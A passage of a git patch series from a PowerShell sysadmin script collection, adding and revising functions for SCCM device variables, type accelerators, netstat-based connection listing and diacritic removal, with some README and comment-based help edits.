zXpT_vje>iNE;ikbqRwi4FMTFm+6_Tk|uYvn7zal%@H$r3#l!VK@Z_{9$Ed?cG7%wRB(Ax z_Co4K0*%r>G6U{9vKndSNB`njt)ocW&{;T5GIL(a9hK^ew|YCTtfK%G8+q{Rg z-jWX)Pfl0#FoW6O<(V(Hw>>5Urf@ho>#bVWcie;7R4lq2fBi1}OezfSn<<|hp=Z+r z8>(=iH2I8wf6c31DHpDC-Z3s@JL=|gyMJ|Rxn7l>4qsP2 z1q-Rj61?@kon)H-BQnk@88f0(!0mPaZbN=?{r9r?cWouEkrdzDFTQo&y~HbG_Hei} zk=~9J>KFnR5PazWie1ubg2Vy93H_O6mdy5h53|}WE|kN71C`^Jct^wDhX*5#Tk2y@ zWxSW38MIzsP%d5yg(trdu$7AVK-8h`04(xEQdAi%u14A`!YBV&sP)LnGt!0mvxaRB zGB}z91~{#(?-sk>uTC~R%c7%ud%gXm813P!{?9v0YTy9_rc)u%MZtm5FfgC~!x^c( z%6{_)_#?VC)&Ao!9%CN@Z42-VG=0E7Oy8Y8C8bW z9EE@5*aI2xK!porvH@sF>C^iL0|%5MOn!m^MEMHSSLX>pXQJi-c8A9LBVDsxKK0wW z%ZKMoc$S{GFGB?a=7G%6FZk_wQ$GLbaomrSjsD&6AZ<&d rcy1k8xc(p0*jF97{%?WvyO)Z(xe@p}olj6l{D4;qYVwt`=3)N>8;cl6 literal 0 HcmV?d00001 From b0295d434bafce3a7bc0c646f87b7dbc58c9e1f2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 1 Jul 2016 21:25:05 -0400 Subject: [PATCH 111/561] Update New-DjoinFile Readme --- TOOL-New-DjoinFile/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/TOOL-New-DjoinFile/README.md b/TOOL-New-DjoinFile/README.md index 0f42944d..92739650 100644 --- a/TOOL-New-DjoinFile/README.md +++ b/TOOL-New-DjoinFile/README.md @@ -1,4 +1,4 @@ -[NewDjoinFile01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-New-DjoinFile/images/New-DjoinFile01.png +[NewDjoinFile01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-New-DjoinFile/media/New-DjoinFile01.png New-DjoinFile =================== ## Related Article(s) From 32199c9286a9aa1c1b90ff06681b1c55ed965e17 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Fri, 1 Jul 2016 21:25:37 -0400 Subject: [PATCH 112/561] Update README.md --- TOOL-New-DjoinFile/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/TOOL-New-DjoinFile/README.md b/TOOL-New-DjoinFile/README.md index 92739650..0a0b8f71 100644 --- a/TOOL-New-DjoinFile/README.md +++ b/TOOL-New-DjoinFile/README.md @@ -10,7 +10,7 @@ The New-DjoinFile function create a Blob file from the String Generated by Djoin This blob file can then be passed to djoin to join the machine to the Active Directory domain. ## Usage -Using the function against All GPO: + ```PowerShell # Load the function (Dot Sourcing) . C:\MyScripts\New-DjoinFile.ps1 @@ -22,4 +22,4 @@ $Blob = "" New-DjoinFile -Blob $blob -DestinationFile $home\desktop\blob.txt -Verbose ``` -![alt text][NewDjoinFile01] \ No newline at end of file +![alt text][NewDjoinFile01] From 7f22d75ad839618faed809f5db7591cd3ff1a1e5 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 2 Jul 2016 16:19:28 -0400 Subject: [PATCH 113/561] Add New-SCCMDeviceVariable --- .../New-SCCMDeviceVariable.ps1 | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 new file mode 100644 index 00000000..2e54d720 --- /dev/null +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -0,0 +1,177 @@ +function New-SCCMDeviceVariable +{ + <# + .SYNOPSIS + function to create a new SCCM Device Variable + + .DESCRIPTION + function to create a new SCCM Device Variable + + This function is relying on WMI to create a new SCCM Device Variable. + You don't need the SCCM Module or SCCM Console installed to run it. + Also this cmdlet support alternative credential. + + .PARAMETER ComputerName + Specifies the SCCM Server + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER Credential + Specifies the alternative credential + If not specified it will use the current user. + + .PARAMETER ResourceID + Specifies the Device ResourceID + + .PARAMETER Name + Specifies the Variable Name + Alias: VariableName + + .PARAMETER Value + Specifies the Variable Value + Alias: VariableValue + + .PARAMETER IsMasked + Specifies if the Variable value is masked. + Default is $False + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test01 -Value 'Some Information' + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test02 -Value 'Secret information' -IsMasked $true + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test03 -Value 'Some more info' -Credential (get-Credential) + + .EXAMPLE + $MyParams = @{ + ComputerName = 'SCCM01' + SiteCode = 'F01' + ResourceID = '000000222' + Name = 'Test03' + Value = 'Some more info' + Credential = (get-Credential) + } + + New-SCCMDeviceVariable @MyParams + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin + #> + [cmdletbinding()] + PARAM ( + [parameter(Mandatory = $true)] + [Alias('SiteServer')] + [System.String]$ComputerName, + + [parameter(Mandatory = $true)] + [System.String]$SiteCode, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [parameter(Mandatory = $true)] + [int]$ResourceID, + + [parameter(Mandatory = $true)] + [Alias("VariableName")] + [System.String]$Name, + + [parameter(Mandatory = $true)] + [Alias("VariableValue")] + [System.String]$Value, + + [System.Boolean]$IsMasked = $false + ) + PROCESS + { + TRY + { + Write-Verbose -Message "$ResourceID - Create splatting" + $SCCM_Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\sms\site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + $SCCM_Splatting.Credential = $Credential + } + + Write-Verbose -Message "$ResourceID - Verify if machine settings exist" + # Check if the device already has a MachineSetting + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -Query "SELECT ResourceID FROM SMS_MachineSettings WHERE ResourceID = '$ResourceID'" + + # If a Machine Settings is found + if ($MachineSettings) + { + Write-Verbose -Message "$ResourceID - Machine Settings Exists" + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Create Variable" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariableInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariableInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariableInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $false + + # Retrieve the Machine Settings + $MachineSettingsClass.get() + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $MachineSettingsClass.MachineVariables = $NewMachineVariableInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $MachineSettingsClass.Put() + } + else + { + Write-Verbose -Message "$ResourceID - Machine Settings does NOT Exists" + + # Create a new machine setting + Write-Verbose -Message "$ResourceID - Machine Settings - Creation" + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -List -Class 'SMS_MachineSettings' + $NewMachineSettingsClassInstance = $MachineSettingsClass.CreateInstance() + + # Specify the Resource id and SourceSite(SiteCode) + $NewMachineSettingsClassInstance.psbase.properties["ResourceID"].value = $ResourceID + $NewMachineSettingsClassInstance.psbase.properties["SourceSite"].value = $SiteCode + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Machine Variable - Creation" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariablesInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariablesInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariablesInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $false + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $NewMachineSettingsClassInstance.MachineVariables = $NewMachineVariablesInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $NewMachineSettingsClassInstance.Put() + } + } + CATCH + { + Write-Warning -Message "$ResourceID - Issue while processing the Device" + $Error[0] + } + FINALLY + { } + } #Process +} From 68c502e964dcc6f7ef24da6d0c12c1299f8b8cb1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Sun, 3 Jul 2016 18:58:21 -0400 Subject: [PATCH 114/561] Update New-SCCMDeviceVariable.ps1 Correct Typo in IF condition --- SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 index 2e54d720..a8046d02 100644 --- a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -109,7 +109,7 @@ function New-SCCMDeviceVariable $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -Query "SELECT ResourceID FROM SMS_MachineSettings WHERE ResourceID = '$ResourceID'" # If a Machine Settings is found - if ($MachineSettings) + if ($MachineSettingsClass) { Write-Verbose -Message "$ResourceID - Machine Settings Exists" @@ -125,10 +125,11 @@ function New-SCCMDeviceVariable # Retrieve the Machine Settings $MachineSettingsClass.get() - + + # Insert the variable we just created into the machine settings Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" - $MachineSettingsClass.MachineVariables = $NewMachineVariableInstance + $MachineSettingsClass.MachineVariables += $NewMachineVariableInstance # Save our change back to SCCM Write-Verbose -Message "$ResourceID - Save Change" @@ -159,7 +160,7 @@ function New-SCCMDeviceVariable # Insert the variable we just created into the machine settings Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" - $NewMachineSettingsClassInstance.MachineVariables = $NewMachineVariablesInstance + $NewMachineSettingsClassInstance.MachineVariables += $NewMachineVariablesInstance # Save our change back to SCCM Write-Verbose -Message "$ResourceID - Save Change" From 63a55e1d273b151ca74f597593d90c69cee4def6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Sun, 3 Jul 2016 19:06:33 -0400 Subject: [PATCH 115/561] Update New-SCCMDeviceVariable.ps1 Fixed issue with parameter "IsMasked", not it is taking effect. --- SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 index a8046d02..6e7448a0 100644 --- a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -121,7 +121,7 @@ function New-SCCMDeviceVariable # Add the Variable $NewMachineVariableInstance.psbase.Properties['Name'].Value = $Name $NewMachineVariableInstance.psbase.Properties['Value'].Value = $Value - $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $false + $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $IsMasked # Retrieve the Machine Settings $MachineSettingsClass.get() @@ -156,7 +156,7 @@ function New-SCCMDeviceVariable # Add the Variable $NewMachineVariablesInstance.psbase.Properties['Name'].Value = $Name $NewMachineVariablesInstance.psbase.Properties['Value'].Value = $Value - $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $false + $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $IsMasked # Insert the variable we just created into the machine settings Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" From 003bab37b799038d2d306a664c7d060d4b082582 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 6 Jul 2016 00:13:31 -0400 Subject: [PATCH 116/561] Add Get-NetFrameworkTypeAccelerator --- .../Get-NetFrameworkTypeAccelerator.ps1 | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 new file mode 100644 index 00000000..ead4a948 --- /dev/null +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -0,0 +1,24 @@ +function Get-NetFrameworkTypeAccelerator +{ +<# +.SYNOPSIS + Function to retrieve the list of Type Accelerator available +.EXAMPLE + Get-NetFrameworkTypeAccelerator + + Return the list of Type Accelerator available on your system +.EXAMPLE + Get-Accelerator + + Return the list of Type Accelerator available on your system + This is a function alias created by [Alias()] +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + [Alias('Get-Acceletrator')] + PARAM () + [System.Management.Automation.PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get +} \ No newline at end of file From ff4fb842feaf528875393e224897cfaf9e78625d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 6 Jul 2016 00:16:04 -0400 Subject: [PATCH 117/561] Move Enable-RemoteDesktop screenshot --- .../{ => images}/Enable-RemoteDesktop.png | Bin 1 file changed, 0 insertions(+), 0 deletions(-) rename TOOL-Enable-RemoteDesktop/{ => images}/Enable-RemoteDesktop.png (100%) diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.png b/TOOL-Enable-RemoteDesktop/images/Enable-RemoteDesktop.png similarity index 100% rename from TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.png rename to TOOL-Enable-RemoteDesktop/images/Enable-RemoteDesktop.png From 61b416851e13f94a74fd5e273a62fefebf819486 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 25 Sep 2016 22:29:01 -0400 Subject: [PATCH 118/561] Add Get-ProcessForeignAddress --- .../Get-ProcessForeignAddress.ps1 | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 diff --git a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 new file mode 100644 index 00000000..9f903e0c --- /dev/null +++ b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 @@ -0,0 +1,54 @@ +function Get-ProcessForeignAddress +{ +<# +.SYNOPSIS + Get all foreignIPAddress for all or specific processname + +.DESCRIPTION + Get all foreignIPAddress for all or specific processname + +.PARAMETER ProcessName + Specifies the ProcessName to filter on + +.EXAMPLE + Get-ProcessForeignAddress + + Retrieve all the foreign addresses + +.EXAMPLE + Get-ProcessForeignAddress chrome + + Show all the foreign address(es) for the process chrome + +.EXAMPLE + Get-ProcessForeignAddress chrome | select ForeignAddress -Unique + + Show all the foreign address(es) for the process chrome and show only the ForeignAddress(es) once + +.NOTES + Author : Francois-Xavier Cat + Website : www.lazywinadmin.com + Github : github.com/lazywinadmin + Twitter : @lazywinadm +#> + PARAM ($ProcessName) + $netstat = netstat -no + + $Result = $netstat[4..$netstat.count] | + ForEach-Object { + $current = $_.trim() -split '\s+' + + New-Object -TypeName PSobject -Property @{ + ProcessName = (Get-Process -id $current[4]).processname + ForeignAddressIP = ($current[2] -split ":")[0] #-as [ipaddress] + ForeignAddressPort = ($current[2] -split ":")[1] + State = $current[3] + } + } + + if ($ProcessName) + { + $result | Where-Object { $_.processname -like "$processname" } + } + else { $Result } +} \ No newline at end of file From e5350cdfa2ea3cce0e3df49393a4cd66b6c24ef8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Sat, 8 Oct 2016 13:39:07 -0400 Subject: [PATCH 119/561] Update notes --- AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index 23067bdc..3fd01215 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -1,4 +1,4 @@ -function Get-AdFSMORole +function Get-ADFSMORole { <# .SYNOPSIS @@ -13,6 +13,7 @@ Francois-Xavier Cat www.lazywinadmin.com @lazywinadm + github.com/lazywinadmin #> [CmdletBinding()] PARAM ( From fea20f812e5a23891d47f08458637ac59b203890 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 10 Oct 2016 20:11:01 -0400 Subject: [PATCH 120/561] Update Remove-StringLatinCharacter --- .../Remove-StringLatinCharacter.ps1 | 45 +++++++++++++++++-- 1 file changed, 41 insertions(+), 4 deletions(-) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index f33e28a9..0b4f005f 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -1,7 +1,44 @@ function Remove-StringLatinCharacters { - #http://www.lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html - #Method 2 (From Marcin Krzanowicz) - PARAM ([string]$String) - [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($String)) +<# +.SYNOPSIS + Function to remove diacritics from a string +.EXAMPLE + Remove-StringLatinCharacters -String "L'été de Raphaël" + + L'ete de Raphael +.EXAMPLE + Foreach ($file in (Get-ChildItem c:\test\*.txt)) + { + # Get the content of the current file and remove the diacritics + $NewContent = Get-content $file | Remove-StringLatinCharacters + + # Overwrite the current file with the new content + $NewContent | Set-Content $file + } + + Remove diacritics from multiple files + +.NOTES + Francois-Xavier Cat + @lazywinadm + github.com/lazywinadmin + + BLOG ARTICLE + http://www.lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html + + VERSION HISTORY + 1.0.0.0 | Francois-Xavier Cat + Initial version Based on Marcin Krzanowic code + 1.0.0.1 | Francois-Xavier Cat + Added support for ValueFromPipeline +#> + PARAM ( + [Parameter(ValueFromPipeline=$true)] + [System.String]$String + ) + PROCESS + { + [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($String)) + } } \ No newline at end of file From 2cbb852204c7977d8e06a01d112d7f35f4dff5f2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 10 Oct 2016 20:21:01 -0400 Subject: [PATCH 121/561] Remove s from the function name --- .../Remove-StringLatinCharacter.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 0b4f005f..8550ff67 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -1,17 +1,17 @@ -function Remove-StringLatinCharacters +function Remove-StringLatinCharacter { <# .SYNOPSIS Function to remove diacritics from a string .EXAMPLE - Remove-StringLatinCharacters -String "L'été de Raphaël" + Remove-StringLatinCharacter -String "L'été de Raphaël" L'ete de Raphael .EXAMPLE Foreach ($file in (Get-ChildItem c:\test\*.txt)) { # Get the content of the current file and remove the diacritics - $NewContent = Get-content $file | Remove-StringLatinCharacters + $NewContent = Get-content $file | Remove-StringLatinCharacter # Overwrite the current file with the new content $NewContent | Set-Content $file From 261ab2410fef099e03f54a12adaef90a8bbf81c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 10 Oct 2016 20:22:49 -0400 Subject: [PATCH 122/561] Add Help Parameter --- .../Remove-StringLatinCharacter.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 8550ff67..5bcfd67c 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -3,6 +3,8 @@ <# .SYNOPSIS Function to remove diacritics from a string +.PARAMETER String + Specifies the String that will be processed .EXAMPLE Remove-StringLatinCharacter -String "L'été de Raphaël" From bc2e6fb5b879fb507d03c0b5bc4a22236c9e29c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 24 Oct 2016 23:23:40 -0400 Subject: [PATCH 123/561] Update Get-PSObjectEmptyOrNullProperty.ps1 --- .../Get-PSObjectEmptyOrNullProperty.ps1 | 55 ++++++++++++++----- 1 file changed, 41 insertions(+), 14 deletions(-) diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index c7d33b99..89f76780 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -1,22 +1,49 @@ -function Get-PSObjectEmptyOrNullProperty +function Get-PSObjectEmptyOrNullProperty { <# - .SYNOPSIS - Function to Get all the empty or null properties with empty value in a PowerShell Object +.SYNOPSIS + Function to Get all the empty or null properties with empty value in a PowerShell Object - .DESCRIPTION - Function to Get all the empty or null properties with empty value in a PowerShell Object +.DESCRIPTION + Function to Get all the empty or null properties with empty value in a PowerShell Object - .PARAMETER PSObject - Specifies the PowerShell Object +.PARAMETER PSObject + Specifies the PowerShell Object - .EXAMPLE - PS C:\> Get-PSObjectEmptyOrNullProperty -PSObject $UserInfo +.EXAMPLE + PS C:\> Get-PSObjectEmptyOrNullProperty -PSObject $UserInfo - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +.EXAMPLE + + # Create a PowerShell Object with some properties + $o=''|select FirstName,LastName,nullable + $o.firstname='Nom' + $o.lastname='' + $o.nullable=$null + + # Look for empty or null properties + Get-PSObjectEmptyOrNullProperty -PSObject $o + + MemberType : NoteProperty + IsSettable : True + IsGettable : True + Value : + TypeNameOfValue : System.String + Name : LastName + IsInstance : True + + MemberType : NoteProperty + IsSettable : True + IsGettable : True + Value : + TypeNameOfValue : System.Object + Name : nullable + IsInstance : True + +.NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm #> PARAM ( $PSObject) @@ -25,4 +52,4 @@ $PsObject.psobject.Properties | Where-Object { -not $_.value } } -} \ No newline at end of file +} From ce7367f3c1ff05ca0bb43d2d3cf341983ff21c71 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 24 Oct 2016 23:25:11 -0400 Subject: [PATCH 124/561] Update Get-PSObjectEmptyOrNullProperty.ps1 --- .../Get-PSObjectEmptyOrNullProperty.ps1 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index 89f76780..dc855dff 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -5,7 +5,9 @@ function Get-PSObjectEmptyOrNullProperty Function to Get all the empty or null properties with empty value in a PowerShell Object .DESCRIPTION - Function to Get all the empty or null properties with empty value in a PowerShell Object + Function to Get all the empty or null properties with empty value in a PowerShell Object. + I used this function in a System Center Orchestrator where I had a runbook that could update most of the important + properties of a user. Using this function I knew which properties were not be updated. .PARAMETER PSObject Specifies the PowerShell Object From 5587446305fa0506b007385f915096f67cb06d05 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 25 Oct 2016 08:55:57 -0400 Subject: [PATCH 125/561] Minor updates --- .../Remove-HashTableEmptyValue.ps1 | 2 + .../Remove-StringDiacritic.ps1 | 84 ++++++++++--------- .../Remove-StringLatinCharacter.ps1 | 21 ++++- .../Remove-StringSpecialCharacter.ps1 | 64 +++++++------- TOOL-Resolve-ShortURL/Resolve-ShortURL | 41 --------- TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 | 45 ++++++++++ .../Set-NetworkLevelAuthentication.ps1 | 54 ++++++------ .../Test-IsLocalAdministrator.ps1 | 17 +++- .../Test-RemoteDesktopIsEnabled.ps1 | 40 ++++++--- TOOL-Write-Log/TOOL-Write-Log.ps1 | 6 ++ 10 files changed, 224 insertions(+), 150 deletions(-) delete mode 100644 TOOL-Resolve-ShortURL/Resolve-ShortURL create mode 100644 TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 rename TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 => TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 (58%) diff --git a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 index 33ad7da9..8bf3d30a 100644 --- a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 +++ b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 @@ -13,6 +13,7 @@ Francois-Xavier Cat @lazywinadm www.lazywinadmin.com + github.com/lazywinadmin #> [CmdletBinding()] PARAM([System.Collections.Hashtable]$HashTable) @@ -21,6 +22,7 @@ ForEach-Object -Process { if($HashTable[$_] -eq "" -or $HashTable[$_] -eq $null) { + Write-Verbose -Message "[Remove-HashTableEmptyValue][PROCESS] - Property: $_ removing..." [void]$HashTable.Remove($_) Write-Verbose -Message "[Remove-HashTableEmptyValue][PROCESS] - Property: $_ removed" } diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index 15d59c27..9e809611 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -1,55 +1,63 @@ function Remove-StringDiacritic { <# - .SYNOPSIS - This function will remove the diacritics (accents) characters from a string. - - .DESCRIPTION - This function will remove the diacritics (accents) characters from a string. +.SYNOPSIS + This function will remove the diacritics (accents) characters from a string. - .PARAMETER String - Specifies the String on which the diacritics need to be removed +.DESCRIPTION + This function will remove the diacritics (accents) characters from a string. + +.PARAMETER String + Specifies the String(s) on which the diacritics need to be removed + +.PARAMETER NormalizationForm + Specifies the normalization form to use + https://msdn.microsoft.com/en-us/library/system.text.normalizationform(v=vs.110).aspx + +.EXAMPLE + PS C:\> Remove-StringDiacritic "L'été de Raphaël" - .PARAMETER NormalizationForm - Specifies the normalization form to use - https://msdn.microsoft.com/en-us/library/system.text.normalizationform(v=vs.110).aspx - - .EXAMPLE - PS C:\> Remove-StringDiacritic "L'été de Raphaël" - - L'ete de Raphael - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + L'ete de Raphael + +.NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin #> - - param + [CMdletBinding()] + PARAM ( [ValidateNotNullOrEmpty()] [Alias('Text')] - [System.String]$String, + [System.String[]]$String, [System.Text.NormalizationForm]$NormalizationForm = "FormD" ) - BEGIN - { - $Normalized = $String.Normalize($NormalizationForm) - $NewString = New-Object -TypeName System.Text.StringBuilder - - } - PROCESS + FOREACH ($StringValue in $String) { - $normalized.ToCharArray() | ForEach-Object -Process { - if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($psitem) -ne [Globalization.UnicodeCategory]::NonSpacingMark) - { - [void]$NewString.Append($psitem) + Write-Verbose -Message "$StringValue" + try + { + # Normalize the String + $Normalized = $StringValue.Normalize($NormalizationForm) + $NewString = New-Object -TypeName System.Text.StringBuilder + + # Convert the String to CharArray + 